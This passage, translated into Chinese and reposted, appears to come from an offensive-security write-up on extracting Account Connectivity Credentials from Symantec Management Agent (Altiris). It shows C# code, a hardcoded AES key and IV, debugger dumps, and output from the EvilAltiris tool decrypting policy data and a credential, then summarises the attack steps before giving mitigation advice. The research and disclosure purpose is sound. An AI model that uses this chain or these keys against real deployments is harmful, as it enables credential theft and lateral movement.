注意：这个方法名称有点误导性，因为machineGuid 值实际上不会被"清除"。这是因为machineGuid 值是根据请求中包含的信息（机器的硬件、计算机名称、MAC 地址等）计算得出的。由于这些信息不太可能改变，通知服务器返回的machineGuid 值很可能保持不变。

通过以下代码，使用 C# 调用此方法很简单。

dynamic comObject = Activator.CreateInstance(Type.GetTypeFromProgID("Altiris.AeXClient.1"));            comObject.ClearMachineGuid();

在进行此调用后，我们可以看到代理向CreateResource.aspx 发出了请求。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

这将把policyKey 值恢复为在我们的利用之前存储在代理LDB 中的原始公钥值。再次打开控制台，我们看到代理现在能够成功地从通知服务器接收数据。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

解密策略数据

有了MachineGuid、TypeGUID 和分配给机器的攻击者控制的公钥，我们现在可以从GetClientPolicies.aspx 端点请求代理策略数据。由于返回的数据将使用我们生成的公钥加密，我们只需要逆向加密过程就可以恢复策略数据。

通过审查服务器端代码，我们发现Altiris87.NS.dll:Altiris.NS.AgentManagement.AgentDataProtection.cs 类中的ProcessNodeData 函数负责生成我们的策略 XML 数据。

privatestaticvoidProcessNodeData(      XmlNode node,      AsymmetricKeyEncryption encryptor,bool cleanSecureAttributes,bool bCleanSecuredData)    {<TRIMMED FOR BREVITY>byte[] bytes = Encoding.UTF8.GetBytes(node.Attributes[name].Value ?? string.Empty);              node.Attributes[name].Value = Convert.ToBase64String(encryptor.Encrypt(bytes));            }elseif (bCleanSecuredData)              node.Attributes[name].Value = string.Empty;          }        }

这反过来会调用Altiris87.NS.dll:Altiris.NS.Security.Cryptography.AsymmetricKeyEncryption.cs 类中的Encrypt 函数来创建enc_header 数据。

internalbyte[] Encrypt(byte[] data, SymmetricKeyInfo key)    {try        {          SymmetricKeyEncryption.enc_header header = SymmetricKeyEncryption.GenerateHeader(this.m_symmetricKey, (short) this.EncryptionFlag);using (MemoryStream memoryStream = new MemoryStream())          {            header.ToStream(memoryStream);byte[] buffer = this.m_rsaEncryptor.Encrypt(memoryStream.ToArray(), false);            memoryStream.Seek(0L, SeekOrigin.Begin);            memoryStream.Write(AsymmetricKeyEncryption.EncryptionVersionBytes, 0, AsymmetricKeyEncryption.EncryptionVersionBytes.Length);            memoryStream.Write(buffer, 0, buffer.Length);            SymmetricKeyEncryption.Encrypt(data, header, this.m_symmetricKey, key, memoryStream);return memoryStream.ToArray();          }        }

策略 XML 数据并不是完全使用机器的公钥加密的，而是为每个请求生成一个唯一的对称密钥，用于加密策略 XML 数据。这个对称密钥和初始化向量（IV）随后被添加到enc_header 数据块中，该数据块使用机器的公钥进行加密。这个加密后的头部会被添加到加密的策略 XML 数据之前，然后返回给代理。

要执行解密，我们需要从返回的策略数据中解析出enc_header，使用我们机器的私钥解密头部，提取对称密钥，最后解密策略数据。

EvilAltiris.exe decryptpolicy /data:policy.dat /key:"<RSAKeyValue><TRIMMEDFORBREVITY></RSAKeyValue>"█▀▀ █ █ █ █   ▄▀█ █   ▀█▀ █ █▀█ █ █▀██▄ ▀▄▀ █ █▄▄ █▀█ █▄▄  █  █ █▀▄ █ ▄█Author: Matt Johnson - MDSec ActiveBreach - v0.0.1[+] Got symmetric key from header: (m_key) a4ZNJ2KHVIhePZ/h1eo67Ib9xaGwlLq64TxjxGguqwM=[+] Got IV from header: (m_IV) a82AD/wISjMFCD0jL0HbWg==[+] Decrypted Policy Data:<responsensVersion="8.7.2337.0"><resources><resourceguid="{114b7178-2e4e-4071-81df-919b3f10e0c2}"><resourcePolicyguid="{142f2372-e64d-43c0-a207-17db2c0552c4}" /><resourcePolicyguid="{cd52eb66-061c-423e-bf7e-082927138dfe}" /><resourcePolicyguid="{ecc0813a-19a3-464f-8f1e-fb6aef254955}" /><resourcePolicyguid="{fe798592-5242-432d-8cc8-4c5b14e0fb70}" /></resource></resources><policyHashes><policyHashpolicy="{142f2372-e64d-43c0-a207-17db2c0552c4}"hash="BFE5B786CE90FCD5DD01E2060A89568D" /><policyHashpolicy="{cd52eb66-061c-423e-bf7e-082927138dfe}"hash="F7EA96101DD24AD34CB319FDD92B2445" /><policyHashpolicy="{ecc0813a-19a3-464f-8f1e-fb6aef254955}"hash="23C2C85434EE83842769C139A9E8AC26" /><policyHashpolicy="{fe798592-5242-432d-8cc8-4c5b14e0fb70}"hash="6FEFB6960D19BBB86E3299209B07DFCA" /></policyHashes><policies><Policyguid="{142F2372-E64D-43C0-A207-17DB2C0552C4}"name="All Desktop computers (excluding 'Site Servers')"version="8.7.2337.0"><ClientPolicyagentClsid="Altiris.AeXNSClientConfigUpdate"><TRIMMEDFORBREVITY><PkgAccessCredentialspolicySecuredNode="{7A631FB0-26A5-478e-9AE7-A848EE1140C0}"SecuredAttributeD0885E2A8AB9_BlockUnsecureProcessing="secured"defaultACC_SecureAttribute="highsecured"defaultACC="True"userName_SecureAttribute="highsecured"userName="AwCWjVk9oCVKSGAwMcGdrHeeGgb3zP+X1URujyeX9sSNCg865meVAxDjjwu7yrMiwtSqRyFSu223tHkudAu6S8jKB/wEgk30d29OXW/J64/8sVtNWclR98HnX20aeKYTvKskYh+KE/oW/QuTrhZgICiw17GMFRwLRbOs3pN8Yd85zA1gINudPo2EJWMjvqGNcnFyQa58k3sGm0pC1SLQ73zd1ynPTExur2lpRbNmgv8tmQ=="userPassword_SecureAttribute="highsecured"userPassword="AwCWjVk9oCVKSGAwMcGdrHee24NhmeSpLOyxpDXmlYRpVyKJaUnSYOjplCbL/bAW5g7XMsEudlbPWAiBTlH5lf+eOAbBTxH/1529ZKzBjMILfXJBrnyTewabSkLVItDvfN3XKc9MTG6vaWlFs2aC/y2Z" /><TRIMMEDFORBREVITY>

解密后，我们可以查看原始策略数据 XML，包括加密的 ACC。

不使用 SMATool 解密 ACC 凭据 Blob

为了恢复 ACC，我们现在还需要突破最后一层加密。根据我们之前的测试，我们知道SMATool.exe 必须包含一个静态密钥，以便能够在不同环境中解密 ACC。由于SMATool.exe 是一个原生二进制文件，我们只能使用调试器来揭示其内部结构，不过，后端通知服务器二进制文件有助于我们了解加密过程。特别是Altiris87.NS.dll:Altiris.NS.AgentManagement.ConnectionProfiles.ConnectionProfile.cs

这个类导入了一个 XML 连接配置文件，其中包含ACCUser 和ACCPassword 值的加密副本。我们可以看到，除非另有配置，这些值分别被设置为AppIdentity.GetAppIdentity() 和AppIdentity.Password。

using (SymmetricKeyInfo keyWithImpersonation = SymmetricKeyManager.GetKeyWithImpersonation("NS.AgentSettings"))   {this.ACCUser = BasicCrypto.DecryptStringFromBase64String(XmlHelper.GetAttr(xmlNode, "userName", string.Empty), keyWithImpersonation);this.ACCPassword = BasicCrypto.DecryptStringFromBase64String(XmlHelper.GetAttr(xmlNode, "userPassword", string.Empty), keyWithImpersonation);string text = Core.PkgAccessUserName;string text2 = Core.PkgAccessPassword;if (text.Length == 0)    {     text2 = AppIdentity.Password;     text = AppIdentity.GetAppIdentity();    }if (this.ACCUser != text || this.ACCPassword != text2)    {this.UseDefaultACC = false;    }   }

要解密这些值，需要从通知服务器的密钥管理系统（KMS）获取NS.AgentSettings 对称密钥。我们可以使用之前相同的技术，通过引用Altiris.NS.dll 并调用SymmetricKeyManager.GetKey 函数来提取这些密钥。

staticvoidMain(string[] args)        {XmlWriterwriter=null;XmlWriterSettingssettings=newXmlWriterSettings();            settings.ConformanceLevel = ConformanceLevel.Auto;            writer = XmlWriter.Create("keys.xml", settings);            using (SymmetricKeyInfokeyWithImpersonation= SymmetricKeyManager.GetKey("NS.AgentSettings"))            {                keyWithImpersonation.ToXml(writer);                writer.WriteStartElement("entry");                writer.WriteElementString("item", "a");                writer.WriteEndElement();                writer.Flush();            }        }

在通知服务器上运行此代码会得到以下输出。请注意，KMS 可以在单个文件中存储多个密钥，就我们的目的而言，我们对kHardcoded 密钥值感兴趣。

<symmetricKeykeyType="kDefault, kExposableToAgent"algorithm="AesCryptoServiceProvider"cipherMode="CBC"paddingMode="PKCS7"key="gK8Uj/pXZzw+tRJV5ihzzw468bZkXzdEwNFgMJs2fW4="IV="unhnVwwntk7jrhLh79loQw=="keyHash="OUaJHNCD90o23wBfTdXCnR7/j5c9bGDKndFUJxlhm2s=" /><symmetricKeykeyType="kLegacy"algorithm="TripleDES"cipherMode="CBC"paddingMode="PKCS7"key="TX4rhhVm2LcsHEoYaFINHNAOZtPYR44U"IV="JsRUMupG2/E="keyHash="tSD9GraBXU/nWkvAfUcuBtOlu+oEzDWbhABwdkhQlok=" /><symmetricKeykeyType="kHardcoded"algorithm="AesCryptoServiceProvider"cipherMode="CBC"paddingMode="PKCS7"key="3K1VTlfiGF1JvmA89+jB6TmvmY12duipOHZ4nmPxQ3o="IV="lo1ZPaAlSkhgMDHBnax3ng=="keyHash="ckGufJN7BptKQtUi0O983dcpz0xMbq9paUWzZoL/LZk=" /><entry><item>a</item></entry>

为了确认原生SMATool.exe 二进制文件在解密过程中如何使用这些密钥，我们将二进制文件加载到 x32dbg 中，设置命令行参数为SMATool.exe /TPWD:MDSEC /DATA DUMP PASSWORD <ENCRYPTED_DATA>，并在CryptDecrypt 函数上设置断点。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

在调用CryptDecrypt 之前，我们观察到以下参数被压入堆栈。

0078F7B0  70937CAD  return to aexagentext.70937CAD from ???0078F7B4  00CEA8F8  <--- handle to HCRYPTKEY0078F7B8  000000000078F7BC  000000010078F7C0  000000000078F7C4  02AB1D40  <--- pointer to encrypted buffer0078F7C8  0078F808  <--- pointer to length of encrypted buffer (DWORD)

查看转储数据，我们观察到加密数据从二进制大对象的第 18 个字节开始，而最后 64 个字节被忽略。

02AB1D40  B1854820        H.±02AB1D44  BDFAEDF8       øíú½02AB1D48  0D7893D6       Ö.x.02AB1D4C  1107E3A5       ¥ã..02AB1D50  98CDA8F6       ö¨Í.02AB1D54  E4579ABB       ».Wä02AB1D58  4F8C955F       _..O02AB1D5C  7172B331       1³rq02AB1D60  7FB2DE4A       JÞ².02AB1D64  7B62CD73       sÍb{02AB1D68  69F4AAF9       ùªôi02AB1D6C  D4598F5B       [.YÔ

我们的 AES 密钥结构可以在HCRYPTKEY 参数引用的内存区域中找到。

从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

这与我们 XML 输出中keyType="kHardcoded" 的密钥值相匹配。

DC AD 55 4E 57 E2 18 5D 49 BE 60 3C F7 E8 C1 E9 39 AF 99 8D 76 76 E8 A9 38 76 78 9E 63 F1 43 7A

从这里开始，我们可以创建一个独立的类来处理 ACC 凭据二进制大对象的解密，并将此功能添加到 EvilAltiris 中。

Z:G>Z:evilaltiris-mainEvilAltirisbinReleaseEvilAltiris.exe DecryptACC /data:AwCWjVk9oCVKSGAwMcGdrHee24NhmeSpLOyxpDXmlYRpVyKJaUnSYOjplCbL/bAW5g7XMsEudlbPWAiBTlH5lf+eOAbBTxH/1529ZKzBjMILfXJBrnyTewabSkLVItDvfN3XKc9MTG6vaWlFs2aC/y2Z█▀▀ █ █ █ █   ▄▀█ █   ▀█▀ █ █▀█ █ █▀██▄ ▀▄▀ █ █▄▄ █▀█ █▄▄  █  █ █▀▄ █ ▄█Author: Matt Johnson - MDSec ActiveBreach - v0.0.1[+] Decrypted ACC value: SuperSecure!

整合所有内容

现在我们已经拥有了使用低权限域用户恢复 ACC 所需的所有组件，具体步骤如下：

  • 从注册表读取 MachineGuid
  • 生成新的公钥/私钥对
  • 覆盖我们机器的现有公钥（policyKey）并返回 TypeGuid
  • 从服务器请求加密的策略数据
  • 解密策略数据和包含的 ACC
  • 将机器公钥恢复到原始值

下面的视频演示了通过EvilAltiris 执行这些操作v

这个问题可以通过遵循最小权限原则来解决，将 ACC 的默认值从应用程序标识账户更改为通知服务器上的特定本地账户。赛门铁克在其文档[12]中概述了 ACC 的以下最佳实践，具体包括：

  • 为 ACC 使用本地账户，而不是域账户
  • 必须为新的本地账户授予至少对软件包文件所在位置的读取权限，如软件库、NSCAP 共享和补丁下载位置。如果这些都在同一个驱动器上，为了简单起见，可以在驱动器级别添加读取访问权限。

参考资料

  • https://forums.codeguru.com/showthread.php?79163-Structure-of-HCRYPTKEY-Data[13]https://www.elastic.co/security-labs/ransomware-in-the-honeypot-how-we-capture-keys[14]
  • https://blog.xpnsec.com/unobfuscating-network-access-accounts[15]

参考资料

[1]

遇到过:https://www.mdsec.co.uk/2022/07/altiris-methods-for-lateral-movement/

[2]

文档:https://knowledge.broadcom.com/external/article/194234/how-to-setup-agent-connectivity-credenti.html

[3]

研究:https://blog.xpnsec.com/unobfuscating-network-access-accounts/

[4]

SharpSCCM:https://github.com/Mayyhem/SharpSCCM

[5]

这里:https://github.com/mdsecactivebreach/evilaltiris

[6]

此处:https://techdocs.broadcom.com/us/en/symantec-security-software/endpoint-security-and-management/it-management-suite/ITMS/Getting-Started/Understanding-the-components-of-IT-Management-Suite/core-architectural-components-of-symantec-manageme-v54482933-d780e968.html

[7]

文档:https://techdocs.broadcom.com/us/en/symantec-security-software/endpoint-security-and-management/it-management-suite/ITMS/Administration/Configuring-Notification-Server/configuring-notification-server-settings-v15701619-d846e35732/notification-server-processing-settings-v11802974-d846e35883.html#v11802974

[8]

工具:https://knowledge.broadcom.com/external/article/150837/symantec-management-agent-altiris-agent.html

[9]

在线:https://knowledge.broadcom.com/external/article/150837/symantec-management-agent-altiris-agent.html

[10]

故障排除密码:https://knowledge.broadcom.com/external/article/181702/setting-the-troubleshooting-password-de.html

[11]

SharpAltiris:https://github.com/mdsecactivebreach/SharpAltiris

[12]

文档:https://knowledge.broadcom.com/external/article/194234/how-to-setup-agent-connectivity-credenti.html

[13]

https://forums.codeguru.com/showthread.php?79163-Structure-of-HCRYPTKEY-Data:https://forums.codeguru.com/showthread.php?79163-Structure-of-HCRYPTKEY-Data

[14]

https://www.elastic.co/security-labs/ransomware-in-the-honeypot-how-we-capture-keys:https://www.elastic.co/security-labs/ransomware-in-the-honeypot-how-we-capture-keys

[15]

https://blog.xpnsec.com/unobfuscating-network-access-accounts:https://blog.xpnsec.com/unobfuscating-network-access-accounts

原文始发于微信公众号（securitainment）：从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月5日11:44:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   从赛门铁克管理代理（又名 Altiris）中提取账户连接凭据（ACCs）https://cn-sec.com/archives/3470796.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息